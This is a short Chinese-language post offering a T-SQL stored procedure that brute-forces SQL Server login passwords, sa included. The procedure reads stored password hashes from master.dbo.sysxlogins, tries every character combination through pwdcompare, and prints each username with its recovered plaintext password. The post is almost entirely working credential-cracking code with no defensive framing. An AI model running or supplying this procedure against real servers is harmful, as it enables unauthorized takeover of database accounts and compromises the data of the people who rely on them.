一個SQL Server Sa密碼破解的存儲過程:

if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[p_GetPassWord]') and OBJECTPROPERTY(id, N'IsProcedure') = 1)

drop procedure [dbo].[p_GetPassword]

GO

/*--窮舉法破解 SQL Server 用戶密碼

可以破解中文,特殊字符,字符+尾隨空格的密碼

為了方便顯示特殊字符的密碼,在顯示結果中,顯示了組成密碼的ASCII

理論上可以破解任意位數的密碼

條件是你的電腦配置足夠,時間足夠

/*--調用示例

exec p_GetPassword

--*/

create proc p_GetPassword

@username sysname=null, --用戶名,如果不指定,則列出所有用戶

@pwdlen int=2 --要破解的密碼的位數,默認是2位及以下的

as

set @pwdlen=case when isnull(@pwdlen,0)<1 then 1 else @pwdlen-1 end

select top 255 id=identity(int,0,1) into #t from syscolumns

alter table #t add constraint PK_#t primary key(id)

select name,password

,type=case when xstatus&2048=2048 then 1 else 0 end

,jm=case when password is null then 1 else 0 end

,pwdstr=cast('' as sysname)

,pwd=cast('' as varchar(8000))

into #pwd

from master.dbo.sysxlogins a

where srvid is null

and name=isnull(@username,name)

declare @s1 varchar(8000),@s2 varchar(8000),@s3 varchar(8000)

declare @l int

select @l=0

,@s1='char(aa.id)'

,@s2='cast(aa.id as varchar)'

,@s3=',#t aa'

exec('

update pwd set jm=1,pwdstr='+@s1+'

,pwd='+@s2+'

from #pwd pwd'+@s3+'

where pwd.jm=0

and pwdcompare('+@s1+',pwd.password,pwd.type)=1

')

while exists(select 1 from #pwd where jm=0 and @l<@pwdlen)

begin

select @l=@l+1

,@s1=@s1+'+char('+char(@l/26+97)+char(@l%26+97)+'.id)'

,@s2=@s2+'+'',''+cast('+char(@l/26+97)+char(@l%26+97)+'.id as varchar)'

,@s3=@s3+',#t '+char(@l/26+97)+char(@l%26+97)

exec('

update pwd set jm=1,pwdstr='+@s1+'

,pwd='+@s2+'

from #pwd pwd'+@s3+'

where pwd.jm=0

and pwdcompare('+@s1+',pwd.password,pwd.type)=1

')

end

select 用戶名=name,密碼=pwdstr,密碼ASCII=pwd

from #pwd

go